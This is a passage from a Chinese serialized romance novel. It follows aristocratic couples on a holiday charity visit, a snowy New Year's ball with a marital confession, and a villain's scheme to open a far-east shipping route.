佩戴冬青饰品是圣曜节习俗,而这枚胸针却很特别。它的主体由新鲜冬青枝叶编织而成,叶片保持自然卷曲状态,浆果饱满有光泽。但是底部装饰了金色丝带,上面还绣着每个人的名字,既美观又独特。 赫尔曼也被分到了一个,奥黛丽细心帮他扣在领子上,满意地打量:“嗯!真完美!” 日光下,银头发先生面孔俊美,颇为华丽的装饰佩戴在他的身上,也不显得突兀。 其他人的都交由葛丽泰夫人发放了,奥黛丽手上只剩最后一个,她看了眼抱着小狗玩的海因里希,很是不情愿,“喏,给你。” 海因里希嫌弃地接着,皱眉道:“这和我的衣服不搭。” “谁管你搭不搭,最好你别戴。”奥黛丽哼哼,挽着姐姐满意地看向镜子,“反正我们三个都有。” 海因里希嗤笑,手上扯开领结换上冬青领饰品,一边嘴上也没闲着:“赫尔曼,你最好找个机会让你太太提高审美,这么花哨的元素做袖扣还差不多,顶着这个领饰出去别人以为我们是查理马戏团的。” 奥黛丽:“不戴还我!” “嘁,不是看在我太太的份上,谁稀罕。” …… 伊莎贝尔闭了闭眼,赫尔曼坐回沙发看报纸。 “好了,女士们先生们,到了出发的时间了。”伊莎贝尔敲了敲桌子。 露西适时走进来:“马车已经备好,慰问的物资也装上车了。请问各位可以了吗?” “辛苦了露西,我们准备好了。”伊莎贝尔微笑,看向剩下三人,语气不容置疑,“现在,走。” 伊莎贝尔率先出门,奥黛丽紧随其后,两位连襟在末尾。 虽然人后争吵不断,各有各的矛盾,但是出现人前时,四个人都十分和谐体面。 马车停在门口,海因里希伸出胳膊,送伊莎贝尔上去。赫尔曼带着奥黛丽坐上另一辆车。 迎着肯特郡的冬日暖阳,两对夫妇向村西而去。 圣曜节这天,富裕人家慰问周边贫苦村民是惯例,这次公爵夫妇莅临,无论是场面还是资助物资的丰厚程度,都超过了以往的水平。 当然,在某些人看来,这只是虚伪贵族邀名的手段。怕报纸乱写,奥黛丽还为此担心过。伊莎贝尔不以为意,只是对妹妹道:“就算是邀名又怎么样?只要村民实打实受益,这样的虚伪手段当然越多越好,最好能让那些富人都来效仿。” 显然,村民们比那些高谈阔论的评论家们更务实,慰问马车所到之处,感激声不断。 两对夫妇带来的不仅是物资,还顺便向他们发出了招工邀请。怀特实业和诺曼实业,以及最新加盟的伯克利海运商贸都需要人手。只要能通过面试,就能获得一份薪酬和福利都很优渥的工作。 对于村民而言,没有比这更好的消息了。这意味着大家可以把脚从泥土里拔出来,走出去,遇到灾年不必祈求圣灵赐福,因为有制度保护着他们。 马车一路西行,顺着太阳的行动轨迹,一路散播希望的种子。 直到停在一处小房子外,奥黛丽率先下车,担忧地对姐姐道:“就是这里。” 房子里传来压抑的咳嗽声,和男女的对话。 “咳咳咳……有马车的动静,是不是来客人了?去看看吧,萝丝,也许是你的朋友。” “今天是圣曜节,谁还会来看望我呢?”萝丝带着哭腔,“我只想陪着你,至少还能拥有最后一个节日的回忆。” 小乞丐波利不愿看见这么沉重的情景,他推开窗户,看见门口的马车,愣了好一会儿才喊道:“凯文、萝丝!真的有人来了!快看!” 没等他的话说完,一行人就已经踏进昏暗的小房子。 “怀特先生、怀特太太?”萝丝惊讶,又看向伊莎贝尔等人,“这是……” 她忽然意识到什么,赶紧起身颔首:“公爵先生、公爵夫人。” 伊莎贝尔:“不用行礼。” 她温和地扶起萝丝,并不浪费时间寒暄,径直往床边的凯文走去。 “不,夫人,我病得很重……请你们不要靠近我咳咳咳!”雀斑青年虚弱得只剩一把骨头。 波利却突然蹿上前:“求你们救救凯文好吗?先生太太们。” 凯文:“波利!咳咳咳回来!” 他咳嗽得厉害,帕子上沾着鲜血,神情无奈地看着伊莎贝尔:“抱歉,公爵夫人,波利太关心了我了,我的病已经没救了,请你们不要浪费钱和物资,留给有需要的人吧。” 萝丝捂着嘴哭出声。 伊莎贝尔并没有回答,她招了招手,让艾米丽将准备好的药箱拿来,“海因,过来帮我,挑出你上次喝过的药草,还记得吗?” 公爵先生哼哼:“我记忆力恰好很不错,女士。” 夫妇俩旁若无人地开始鼓捣箱子。 凯文不明所以,奥黛丽看着姐姐的动作,松了一口气,微笑道:“放心,公爵夫人是来帮你治病的。” 萝丝哭声止住,波利高兴地跳起来:“真的吗?可是镇上最好的医生都说凯文没救了!” 海因里希一边挑拣药草,挑眉道:“那是因为全锡兰最好的医生没来。” “别听斯宾塞吹牛,我没那么厉害,也并不一定对所有疑难杂症都了如指掌。”伊莎贝尔轻笑,在凯文一家再次黯淡的神情里,话锋一转:“但棉尘肺还难不倒我,这本来就不是绝症。” 用如此笃定的语气说出这句话,简直像一束光照进绝望的小屋。 萝丝痛哭出声,和凯文抱在一起。这次是喜悦的泪水。 奥黛丽长松了一口气,忍不住跟着抹了抹眼泪。 姐姐的到来,不仅是拯救这一家人,更为无数面临同样绝境的人带来希望,也解决了一直萦绕在她心头的执念。 凯文颤抖着嗓子,再次问:“公爵夫人,我真的能痊愈吗?像从前那样健康。” “健康程度我不敢保证,但性命一定能保住。”伊莎贝尔并没有为了安慰人就说出不切实际的话,她写好药方,又让艾米丽将挑好的药草分别打包,递给萝丝,“按照我所写的方式,给病人服用。此外我还会安排医生从墨伦维克过来帮你治病,两种方法同时进行,你的丈夫还能陪你度过很多圣曜节。” 奥黛丽:“是的,你还得带着萝丝一起来温斯顿庄园参加舞会呢!” 凯文怔然,旋即和萝丝一起感激点头,语无伦次:“噢!谢谢!谢谢您,谢谢你们这些善心人!我不知道该怎么表示感谢了!我……” “好好恢复,尽可能地恢复健康就是最好的报答。”奥黛丽笑道。 “有空的话再将你的治病方式传播出去。”伊莎贝尔收拾药箱。 “记得别忘了给我们诺曼医生扬名。”海因里希淡淡补充。 小屋沉重的气氛顿时一扫而空,所有人都笑了起来。 “一定做到!”凯文和萝丝相视一笑。 波利跳起来喊:“我现在就去!” 职业小乞丐有十分灵通的小渠道,对于宣传某人的丰功伟绩再擅长不过了!奥黛丽第一次上街就给他六次钱这件事就是这么传播出去的,于是后来每次出门,怀特太太的脑门就写着“人傻钱多”的标志,总被孩子们围得水泄不通。 当然,此刻的奥黛丽还不知道波利做的好事,她正为转悲为喜的故事结局而高兴得红了眼眶。 赫尔曼一直没进屋,他只是静静站在门边看着妻子。 看她为那些不相关的人牵肠挂肚,为他们的悲惨而难过,又为他们的幸运而开心。 此前,他也曾为凯文一家、或是其他工人们付出了可观的物质,但他也必须承认,自己做不到真情实感地关心。 可是此时此刻,他的指尖无意识地摩挲着手杖,鬼使神差地往前走了一步,踏进这个昏暗的房间。 凯文看见赫尔曼,下意识放低了声音,这不仅是他的本能,也是所有哈登菲尔德的工人们,看见老板的本能。 “怀特先生……” 奥黛丽回头看赫尔曼,有些意外:“怎么了?你等急了吗?我们很快就好了。” 她耐心解释,以为赫尔曼不耐烦。 海因里希冷哼:“架子别太大,先生。” 他挺了挺胸膛,朝伊莎贝尔挑眉,手脚麻利帮她收拾药箱。非常明显地拉踩连襟,似乎在明示:瞧瞧,你的丈夫贵为公爵都不摆架子,再看看他,切! 伊莎贝尔轻笑摇头,看向赫尔曼的眼神却带着深意。她看得出来,这个男人身上发生些许变化。 赫尔曼当然懒得回应无聊的拉踩,他只是从怀里掏出一份文件:“如果你后续无法完全恢复,怀特公司会保证你的生活。” 凯文和萝丝对视一眼:“怀特先生,您之前给的足够多了,我们不能要!” 赫尔曼并不掰扯,“我成立了治疗棉尘肺的慈善基金,这不止是帮助你。” 听见这话,奥黛丽也惊讶了起来:“你什么时候办的?” 赫尔曼看着妻子,只是勾了勾唇角:“忘了,也许是某个你为此哭泣的夜晚?” 说着又掏出一张请柬,递给萝丝:“今晚温斯顿庄园会举办舞会,有空可以去,但最好是保证健康的情况下。” 凯文和萝丝对视一眼,不可置信:“您……邀请我们?” 赫尔曼面不改色,简单道:“上次参与篝火晚会的所有人。” “所有人?”这次是奥黛丽发出惊讶的抽气声,她盯着那张请柬,又看向赫尔曼,仿佛不认识眼前这个人,“赫尔曼,我没听错吧,你在邀请村民和我们一起过节对吗?” 赫尔曼睨着她,故意挑眉:“如果你介意,我可以收回请柬。” “当然不!”奥黛丽高兴地抱住赫尔曼的手臂,眼睛亮晶晶,“天哪!今晚肯定热闹极了!你怎么这么好啊!赫尔曼!” 赫尔曼任由妻子晃来晃去,眼底滑过轻笑。 海因里希挑剔地点评:“嗯,这才是个像样的丈夫。” “好了,模范丈夫,请帮我把药箱提起来。”伊莎贝尔微笑向凯文一家告别,“虽然期待今晚的相见,但我想凯文最好还是先卧床。” 萝丝和凯文不无遗憾,但是仍然高兴更多:“是的,身体更要紧,提前祝福四位恩人圣曜节快乐。” “圣曜节快乐!”奥黛丽高兴地挥手,出门时又看向赫尔曼,试探道:“即便错失这一次的舞会,我想将来还有更多的机会,在温斯顿庄园见到凯文和其他人,对吗?” 赫尔曼轻笑,将妻子送上马车,对她期待的眼神视而不见。 直到奥黛丽着急地摇晃着他,拉长声音:“赫尔曼,你说是不是?你快回答我。” 赫尔曼看着车外的小屋,和村庄的袅袅炊烟,深灰色眼睛里的冰雪消融。 “如果你希望的话,我想答案是肯定的。” 下一刻,那双水蓝色的眼睛果然盈满笑意,惊喜的欢呼充斥车厢。 赫尔曼静静地注视着她的愉悦,暖洋洋的氛围同样包裹着他。 他品尝到了无与伦比的、关于幸福的味道。 同一时刻,查尔斯带领着仆人们给村民分发请柬。 “村里每户都有,下午会有仆人来接大家,欢迎各位光临——温斯顿庄园。” 村民们接到请帖时,几乎没人敢相信。 佃农的儿子攥着请帖,指节都泛白:“去庄园的宴会厅?” 要知道,上次奥黛丽和赫尔曼结婚时,村民能在庄园外的草坪上吃席都是荣幸,而宴会厅的门,他们连看都没敢多看! 可是此刻,查尔斯却无比郑重地送上请柬,尊敬地行礼:“是的,你们是晚会的贵宾,诚挚期待你们的到来。”—— 作者有话说:下一章也是幸福感满满的过年!包饺砸! (不是) 第78章 章节锁定 第79章 “看来我们不应该去打扰他们。” 二楼露台, 奥黛丽趴在栏杆上看姐姐,难得愿意给予姐夫一点儿宽容。 赫尔曼顺着她的目光往下,面容沉静。 雪夜里, 他们旁观了一场直率的表白。 看着奥黛丽捧着脸乐呵呵地笑,银头发先生无意识地摩挲手指。 宴会厅的舞曲换成轻柔的华尔兹,奥黛丽随着旋律摇头晃脑。 酒精让她的脸蛋红扑扑, 水蓝色的眼睛在柔和的灯光下显得亮晶晶。 “赫尔曼。”正想说话, 一阵冷风吹来,奥黛丽缩了缩脖子。 赫尔曼没说话,转身走进屋子, 很快拿了围巾来给奥黛丽戴上。 “要说什么?”他问。 奥黛丽打了酒嗝, 摇晃几步, 向后倒进赫尔曼的怀里。 赫尔曼低头看她,她也不闪不避,就这么望着对方。 “喝醉了?我问你刚刚想说什么?”赫尔曼单手搂住她,怕她滑下去。 奥黛丽却伸出胳膊牢牢抱住他的腰,脑袋埋在他的脖颈里,声音闷闷的,带着笑意:“嗝……我是想说……嗝,你的腰好细啊。” “……”赫尔曼确定,她是真醉了。 “回去休息吗?”赫尔曼问。 奥黛丽摇摇头, 头发搔得赫尔曼的下巴有点痒。 “不回。”奥黛丽顿了顿,又抬起头露出笑容, “赫尔曼。” 他挑眉,垂眸看她:“又怎么了?” 奥黛丽摇摇头。 醉鬼总是没什么逻辑。 赫尔曼轻笑,就这么任由她一来一回地喊,直到这个无聊的问答进行了五分钟。 奥黛丽这次埋头的时间久了, 她忽然说:“赫尔曼。” 以为又是无意识地互换,赫尔曼正要回答,却听见她说:“我觉得你和以前不一样了。” 赫尔曼眸光微动,“哪里不一样?” 她打了个嗝,眉头皱起来,似乎有些苦恼要怎么说。 “你将股份分给我,我知道……你保证了我的利益。我觉得你好像……愿意把同情心分给别人了。你还愿意理解村民和工人们,你变得柔软而仁慈。” 雪花在栏杆外飘落,赫尔曼沉默许久。 “我没你说的那么伟大,贝拉。”他的声音很轻,带着微哑。 奥黛丽抬头看着他。 赫尔曼望进那双澄澈的眼睛里,缓缓道:“我还是没法完全认同你说的那些,我只是……在模仿你。” 奥黛丽:“模仿我?” “是的,模仿你的柔软,模仿你的慈悲。”赫尔曼扯开一丝笑,“试图以你的视角,看看这个世界有什么不同。” 酒精让奥黛丽的脑子转得有些慢,她停顿片刻,忽然笑了起来:“可是你为什么愿意模仿呢?!” 她语气里的兴奋是在赫尔曼意料之外的。 他以为奥黛丽会关注为什么一个人的同情心都需要模拟。 而她却总是另辟蹊径,发掘不一样的视角。 就像此刻,奥黛丽一眨不眨地看着他,连声音都放缓了,神情却充满希冀。 她小心地问:“是因为……你喜欢我吗?” 赫尔曼微怔。 “因为喜欢我,因为你爱我,所以才愿意站在我的立场,体谅我在乎的人?”奥黛丽盯着他,“愿意模拟我的情感、我的视角、爱我所爱,珍视我所珍视的一切?是这样吗?” 赫尔曼沉默了很久,雪片落在他的发梢,他却像没察觉。 这个女孩总是如此善良真诚,就像刚才那场表白里的海因里希,会将自己的直白的情感奉上,毫不掩饰。 赫尔曼却想,如此真挚的表达似乎是一种特权,而他好像很难轻易做到。 他想起过去的自己——习惯算计,连对奥黛丽的喜欢,都下意识掺着“以退为进”的手段。 装柔弱、博同情,那些阴暗的占有欲藏在温柔的假面下。 直到那天他听见卡洛琳向奥黛丽道歉。 是的,太阳出现时,阴影连头都不敢冒。 她不需要聪慧到一眼识破算计,也不需要揣度人心,陷入拉扯。她只需要站在那里,就让他的内心隐隐作痛——为曾经的阴暗的手段,即便命名为爱与占有。 可阴暗就是阴暗,伪装就是伪装。 从前,赫尔曼毫不避讳这些东西,相反,这是他赖以为生的武器。 可此刻看着奥黛丽清澈的眼睛,他想缴械投降,将所有的伪装通通丢弃。 雪还在下,顺着微风飘落。 赫尔曼伸出手,为奥黛丽拂去头顶的雪花。 良久,他慢慢开口:“是的,因为喜欢你,我爱你,所以试图成为你。” 奥黛丽怔然。 “而在此之前,我也爱你。可是我所有的举动、话语、乃至于情感里……都带着算计。”他坦然,声音里没了过去的防备。 奥黛丽想起落水之后的那场争吵,赫尔曼就坦白过自己的阴暗。 赫尔曼却像猜到她想什么,轻笑道:“我会利用你的善良,强硬地将你的心拉过来,我知道暴露出部分的阴暗,你不会讨厌我,反而会心生怜惜。” “包括现在,就像刚才说的那样,我没法完全共情那些工人,这么做,只是觉得你会开心。”赫尔曼深灰色的眼睛像哈登菲尔德的雾,“我什至知道,即便这样你仍然不会责怪我。因为你大概也是喜欢我的,至少能原谅我不痛不痒的算计。” 他像个可怕的读心机器,用平淡的话语将所有的推演结果说了出来。 “但现在……”他忽然轻叹了口气,眸光带着无奈的笑,像个束手就擒的俘虏,“我不想藏匿任何东西,至少在太阳照到的地方。” 奥黛丽眼底浮现水光,很快低头擦去。 “我不是个好人,有些恶劣的本性难以改变。”赫尔曼抚摸着她的脸,“可我希望面对你的时候,永远坦荡真实,即便是丑陋的那一面。” 他轻吻她的指尖,银灰色的头发垂落,被风吹得轻轻扬起。 奥黛丽呆呆地望着赫尔曼,感受发丝骚动她的手指。 蓦然想起第一次送赫尔曼礼物的时候,她帮他束发,触感也是如此顺滑,令人贪恋。 以为妻子喝醉了,赫尔曼唇角微勾,并不介意这番剖心之言,是否被她记住。 正准备带她回去,可是一双手突然抱住他的腰。 赫尔曼微顿。 奥黛丽的脸贴在他温热的礼服上,蹭了又蹭,带着无限的依赖。 “醉了不能吹太久的风,我带你回去。”赫尔曼抱着妻子。 胸前传来狡黠的笑声,奥黛丽突然抬起头,眼睛里满是清明,哪有半点醉态。 “被骗了吧,我没醉。” 赫尔曼缓缓挑眉,轻笑:“所以呢?” “所以……”奥黛丽水蓝色的眼睛盯着他,“你又怎么知道,我是不是也算计了你呢?” 她顿了顿,垂下眸,语气意味不明:“我也许也隐瞒了你非常重要的事情。” 赫尔曼还真的仔细回想了一遍。 他忍不住笑:“我并不觉得你的演技能够蒙骗我。虽然一开始我的确揣测你是伪装的天真。” 奥黛丽扬起下巴,掩饰一闪而过的情绪,骄傲地笑:“可我就是用我的天真,将你算计成功了不是吗?” 赫尔曼微愣,很快反应了过来。 “就像今天晚上,如果不是我装醉,内敛的怀特先生怎么会将心事这么明白地告诉我呢?”奥黛丽得意地笑,认真看着丈夫,“承认吧,我知道你会用行动落实自己的改变,可是我偶尔也想听到你的心声。” “先生,我用自己的真心换到你的真心。坦诚又怎么不算是一种手段?”奥黛丽微笑,轻声说,“我很擅长使用这把武器,就像你的伪装那样。” 赫尔曼沉默了许久,他难以描述此刻的情感。 诺曼小姐骄傲地展示了她的法宝——一颗跳动的心脏、和一个无与伦比的美丽灵魂。 他们都在算计彼此的爱,现在终于画了等号。 赫尔曼深吸一口气,手臂收紧,将她裹在怀里。 漫天大雪还在落,楼下,伊莎贝尔和海因里希不知什么时候过来了。 他们面带微笑注视着露台上的夫妇。 海因里希用外套帮妻子挡风,一边懒洋洋喊:“噢,真是幸福。” 奥黛丽倏然抬起头,对上姐姐的眼神,立刻兴奋地晃着赫尔曼:“我也想去雪地里跳舞!还想去玩雪!” 赫尔曼牵着她的手走下露台,踏进厚厚的雪地里。 宴会厅的乐声恰好飘过来,是他们婚礼时跳的那支月下曲。 赫尔曼握住她的手,带着她慢慢起舞,雪片落在他们的发间、肩头,像撒了层碎钻,美丽动人。 跳着跳着,奥黛丽笑着朝姐姐招手,“亲爱的!快来和我一起!” “如你所愿,尽管我有些累了。”伊莎贝尔轻笑,拉着海因里希走过来,两对人变成了四人共舞。 宴会厅的乐曲变成活泼的调子,奥黛丽一边在雪地里转圈,一边大笑着,突然甩开赫尔曼,和伊莎贝尔手跳起洛森郡的乡村舞蹈。 笑声落在雪地里,海因里希和赫尔曼对视一眼。 “噢,别跟我说两个男人要一起跳踢踏舞?” 赫尔曼默契地避开:“这也不是我的意愿。” “哈哈哈哈!”奥黛丽忍不住大笑,顺手揪住一个雪团向两个男人砸去,“来打雪仗吧,我们在家里还会堆雪人呢。” 伊莎贝尔立刻躲远,假装没有听见这句话。 要知道,奥黛丽是个打雪仗高手,她可从来不参与挨打游戏。一般吃亏的都是傻乎乎的艾米丽和卢卡斯小姐。 海因里希被雪团砸中,显然知道卷毛丫头是故意的,立刻就捏起雪团准备攻击,却被赫尔曼又砸了一下。 “你也动手是吧,正好,我和你比划比划。”海因里希眯起眼,气势汹汹。 赫尔曼扔掉手套,话不多说又是一个雪团。 奥黛丽大笑,从背后偷袭。 “来啊,我们两个打你一个!” 伊莎贝尔自顾自在旁边堆起雪人,偶尔观赏另一边的战局。 在武斗方面海因里希很有优势,以一敌二还游刃有余。 当然,他的主要劲敌是诺曼庄园打雪仗高手奥黛丽,赫尔曼只是陪着妻子,时不时放点冷枪。 几个颇有身份地位的人弄得满头满脸的雪,完全颠覆了从前的形象。 宴会厅的门突然被推开,以查尔斯卡洛琳为首的满厅的宾客,不知什么时候都涌到门口,正好看见这一幕。 三人看见他们,赶紧甩掉脑袋上的雪,只有伊莎贝尔从容优雅地站起身,为雪人插上一根胡萝卜做鼻子。 “噢,哪里来的三个圣曜老头?”查尔斯怪叫。 “还差几辆驯鹿马车,就更像了。”卡洛琳接话。 葛丽泰笑着喊:“我们的礼物呢,神使先生、神使女士?” 闻言,众人都大笑起来。 “我们也去雪地里玩吧!”波利兴奋道。 “好主意!” “我也去!” 众人涌向雪地,有的参与进雪仗游戏,还大胆地招呼:“公爵先生,我跟你一队吧。” 海因里希傲然抬下巴:“来吧,欢迎加入。” 查尔斯斗志满满,拍着赫尔曼的肩:“忠诚的雇主先生,我永远追随你,杀!” “……”赫尔曼扫视老头,“你还是去对面吧。” “冲!查尔斯!”奥黛丽已经发号施令。 查尔斯假装没听见雇主的嫌弃,勇猛地冲向对面,“遵命女士!” 雪球在空中砸成粉末,笑声和尖叫响彻温斯顿庄园。 “走,我们去看看公爵夫人堆的雪人!”洁希亚带着特蕾莎走近伊莎贝尔,“噢,真是可爱,我想还能为它画个好看的眼睛。” “请随意。”伊莎贝尔抖抖披风上的雪,微笑起身。 穿过热闹的人群,她缓缓登上台阶,站在高处眺望。 宴会上空飘扬着乐团的演奏曲,战火纷飞间,有人在雪地里跳舞,有人拉着手围成一圈唱歌,有人结伴堆雪人。 雪还在下,却一点都不冷,到处洋溢着欢快的气息。 “铛——” 当最后一个音符落下时,零点钟声突然敲响。 所有人停住动作,笑声欢呼声归于沉寂,他们齐齐看向庄园大厅,座钟的方向。 台阶上,伊莎贝尔已经和葛丽泰吩咐仆人将挂满礼物的装扮树抬出来。 “各位——”葛丽泰微笑看向众人,在他们期盼的目光下,缓缓道:“新年快乐。” “新年快乐!”奥黛丽率先挥手,向姐姐跑去。 “新年快乐!” “新年快乐!” …… 祝福声此起彼伏,乐团奏响新年曲,每个人分别交换礼物,彼此送上真挚的祝福。 伊莎贝尔也随意抽取了一个墨绿色礼盒。 海因里希忽然凑近,高深莫测地盯着她拆开。 伊莎贝尔眸光微动,晃了晃:“你送的?” 海因里希哼哼:“拆开看看不就知道了。” 伊莎贝尔轻笑,顺手打开。 这家伙故意选择她喜欢的礼盒颜色,制造巧合。 “合格的丈夫总是擅长猜测妻子的喜好。”海因里希眸光暗含得意,正要继续说,却看见伊莎贝尔从盒子里拿出一个小模型。 “等等?这不是我的!”海因里希皱眉,还要说话,就被奥黛丽挤开,兴奋的声音吵得耳朵快聋了。 “噢!真是巧合!你抽到了我准备的礼物!亲爱的。”奥黛丽抱住姐姐。 海因里希咬牙切齿:“这是你送的?那我的呢?” 奥黛丽还没说话,只听见熟悉的冷淡嗓音响起。 “在我这。”赫尔曼面无表情,打开他手里的礼盒,里面是一条项链,“所以……” 他缓缓看向奥黛丽,“我准备的又去哪了?” 奥黛丽后知后觉,举起同样的墨绿色盒子打开——里面是和那条蓝宝石项链配套的耳坠,她一眼就认出来,高兴地看向伊莎贝尔:“是你送的!” 伊莎贝尔莞尔:“是的,我特意挑选墨绿色,我认为你应该认出来了我们的暗号。” 奥黛丽会心一笑。 姐妹俩从小就会选择同样的颜色,以便能抽到彼此的礼物。 然而,公爵先生偷偷看见伊莎贝尔准备了这个颜色的礼盒,于是效仿,希望对方抽到自己礼物的同时,他还能获得妻子的那个。那边,银头发先生犯了同样的错误。 海因里希维持着冷漠的脸,看向自己手上的盒子。 打开,是一块精美的怀表,目前市面上最精密的那款。 心思不正最终阴差阳错互换礼物的两个男人,彼此对视一眼,都在对方眼里看到嫌弃。 奥黛丽咬住嘴唇憋笑,还是举起礼盒喊:“新年快乐,我亲爱的家人们。” 伊莎贝尔微笑,举起礼盒碰了碰:“新年快乐。” 海因里希和赫尔曼无奈地拿起盒子,同样碰在一起:“新年快乐。” “砰!” 葛丽泰准备的新年烟花适时点燃,照亮夜空。 大大的新年快乐布满天空,照耀着每一个人脸上的笑容。 伊莎贝尔望着天空,眸光温和:“新的一年……” “永远坚定,永远快乐。”奥黛丽微笑,默契地双手握住,闭眼祈祷,“祝愿所有人,平安顺利,度过一年又一年。” 温斯顿庄园的圣曜节,在漫天风雪与满园欢腾里,画下了最圆满的句号—— 作者有话说:提前祝大家新年快乐! (虽然有点早哈哈哈哈) 大家也要平安顺利,度过一年又一年噢! 第80章 “当啷——” 布鲁森庄园书房,瓷杯骤然砸在地上四分五裂,碎片溅到索菲娅的身上,她却垂着头,一动不动。 格兰芬大主教面色阴沉,身后跟着两个黑袍教徒,正是上次机械协会的头领。 “圣曜节已经结束, 修缮教堂迫在眉睫, 你现在跟我说,赎罪金连一半都没有凑齐?!” 索菲娅紧抿着唇,任由手背伤口渗出血珠,仍然维持着谦和的语气。 “主教大人, 肯特郡的形势您应该听说过了。现在怀特家族联合半数以上的公司打破技术垄断, 很难再从他们身上索取赎罪金。” 格兰芬走进两步,盯着索菲娅冷笑,“他们给不了,那就你给。” 索菲娅衣袖下的指尖攥紧。 “索菲娅,别忘了教会为什么帮你,你无能,败给对手那是你的事。”格兰芬抬高下巴,眼底滑过深意,“总之,我再宽限你一个月,一个月后钱到不了教会账户,你知道是什么下场。” 室内气氛陡然冷凝,只剩壁炉柴火的噼啪声。 这话像重锤砸在索菲娅的心上,几乎要调动全身的忍耐力,才能维持表情的平和。 索菲娅咬紧牙关,微笑看向主教,颔首:“是,大人。一个月后,我一定筹齐钱款。” 格兰芬冷哼一声,带着教徒转身离开。 厚重的门被关上时,压迫感才散了些。 走廊里,丽萨推着亚当慢慢出来,两人看着大主教的背影消失在楼梯口,这才转头看向书房。 没关紧的房门透出一条缝,亚当抬眼看向母亲。 房间里,索菲娅仍然维持着垂头的姿势,她半张脸埋在阴影里,下颌线紧绷,似乎在思考什么。 天底下没有免费的午餐,索菲娅能从伊莎贝尔手底下逃生,看似靠得是菲利普,实际上,是依靠的教会。 菲利普外表老实憨厚,实则心眼一点也不少,他愿意娶贝琪,是因为索菲娅身后有伽蓝神殿的关系。 女王正值盛年,谁也不知道她还要执政多久。菲利普以及他身后的父族,也并不觉得女王对这个“第一继承人”有格外的青睐。 王权之争,多的是意外,上过断头台的国王都有四五个。要想为自己争取更多的筹码,菲利普就必须拉拢教会为他背书,最好能一举将他推上王储之位。 而索菲娅适时出现,把女儿贝琪作为工具,在教会和菲利普之间架起姻亲的桥梁。菲利普保住索菲娅,就是保住自己。 当然,索菲娅的筹码不是白来的,她和教会建立的紧密联系,也是通过利益置换。 最初,北部工业区的发展还没有现在这么繁盛,市场受限制,教会赚到的也少。毕竟任何行业都需要注入活水,才能让钱流动起来,把蛋糕越做越大。 而当时的龙头布鲁森家族,就是索菲娅的利用对象。布鲁森要名头,索菲娅要钱,于是她再次用同样的手段进行博弈。 这一边和布鲁森家族联姻,用亚当的贵族身份换取金钱;另一边再把钱上缴教会,从教会那边得到宽松的政策,让布鲁森同时拥有贵族和教会的背书,吸纳更多的小工厂主发展。 布鲁森赚到了钱,又把教会的技术推广给了更多的工厂主,工厂主赚到了钱,吸纳了更多投机者齐聚北部,某种程度上说,哈登菲尔德能成为财富中心,离不开这段时期的发展。 教会因此名利双收,地位稳步提高,当然愿意继续让索菲娅成为代言人。索菲娅有教会做靠山,既能控制布鲁森,又能拥有和菲利普谈判的砝码。 这个环节里的所有人,都因为索菲娅紧密联系在一起。稳定的时候大家各取所需,皆大欢喜。 一旦像现在这样,某一环突然出现裂缝,就会迎来崩塌的结局。 走廊想起脚步声,老布鲁森匆匆赶来,脸色灰败,没有往日的精神。他扫了眼门口的孙女和孙女婿,没有搭理,径直敲了敲书房的门。 “教会催得这么紧,你还不把钱掏出来,恢复工厂运转?”老布鲁森语气生硬,把批款的文件扔在桌上,“现在开工,好歹能补一半的缺口,另一半你再凭着以前的交情,和主教商量,往后再补上。” 索菲娅睨了眼文件,没说话。 布鲁森脸色铁青,深吸一口气:“现在你已经是布鲁森家的主人,眼睁睁看着它垮下去,你在教会面前还有筹码吗?” 这些产业是老头的心血,即便现在迫于形势送给索菲娅,但他无法眼睁睁看着自己的家业彻底败落。 索菲娅终于动了,她走到沙发边坐下,拿起帕子擦了擦手背上的血痕,一边将那份文件缓缓撕碎。 布鲁森:“?!” 门外的丽萨气血上涌,和亚当对视。 “你那些破工厂没必要开了。”索菲娅嗓音冷淡,随手将碎纸漫天一扬。 “你说什么?破工厂?”布鲁森冷笑,“你忘了这些破工厂给你赚了多少钱!” “现在时间紧迫,我仅剩的资金,不能浪费在这里。” “呵,你难道还真想一个月内连本带利把钱赚回来,天底下没有这样暴利的事情,除非去赌钱!” “对,就是赌。”索菲娅眼也不抬,黝黑瞳孔里毫不掩饰戾气,一字一顿,提高声音,“听着,我就是要赌!” 布鲁森被那道可怕的眼神震慑住。 一瞬间,他觉得索菲娅是个疯子。 “我来肯特郡以后,真是输得够彻底的。”索菲娅扯开一丝笑,美艳的脸覆盖着半边阴影,“赚回那点赎罪金,再回去跟格兰芬那个老混蛋卑躬屈膝,重新从一条狗做起,就够了吗?!” 她低声笑了起来,“不够,当然不够啊……” “要赌就得赌一把大的,要嬴就必须彻底翻盘。”索菲娅眼底压抑着疯狂,声音却带着诡异的甜腻,“一路走来,不都是这样吗?以小博大,我从来没输过……” 布鲁森下意识后退两步,心底无端地发冷。 “你想怎么做?”他谨慎发问。 索菲娅重新坐了回去,整个人像重新把画皮贴回脸上的艳鬼,恢复从前的柔和,她抬眼,缓缓吐出单词:“海运。” 海运? ! 布鲁森一怔,连带着门口的夫妇也愣住了。 “你想效仿那天机械会上的赫斯兰红发丫头?”布鲁森很快冷笑道,“现在航路贸易早就饱和了,你还以为能有暴利?” 索菲娅轻笑,慢条斯理道:“如果是新航路呢?” 布鲁森再次愣住,这一次他沉默的时间更长了。 能赚到暴利的新航路只有两种办法,一种是像某伦布那样撞大运发现新大陆。 布鲁森并不觉得索菲娅疯狂到要去探索新大陆,所以只能是第二种。 “你想开辟远东航线?”他听见自己声音沉重,“索菲娅,我敬佩你的眼光,是的,这的确是最有可能牟取暴利的路子,可是聪明人不止你一个,你以为别人不想吃这块蛋糕吗?他们不吃,是因为吃不到!” 索菲娅缓缓抬眼,神色冷了下去。 那眼神令布鲁森背后发寒,可老头仍然倔强地与她对视。 “理查德,你认为自己还有资格质疑我的决定吗?”索菲娅演都不演,居高临下地看着布鲁森,“去办,别让我说第二次。” 布鲁森张了张嘴,最终只泄了气,垂着头退出了书房。 门外,亚当看着老头颓丧的背影,停顿许久。 索菲娅当然知道自己的儿子一直守在那里,可是却没有给予眼神的意思。 亚当熟悉这样的母亲。 在外会戴上各种假面,或是热情或是温和,穿梭在名利场中。 回到家,面对已经利用完毕的工具,不会施舍半点儿情绪,哪怕是发怒。 索菲娅这样的人是没时间愤怒的。 她所有的心力都铺在攀登的路上,就像此刻。 “我们走吧。”门外,丽萨拍了拍丈夫的肩。 亚当沉默片刻,温和地回握妻子的手:“好。” 夫妻俩回到卧室,丽萨帮丈夫按摩膝盖,神情却恍惚。 亚当看着妻子的侧脸,无声地叹了口气。 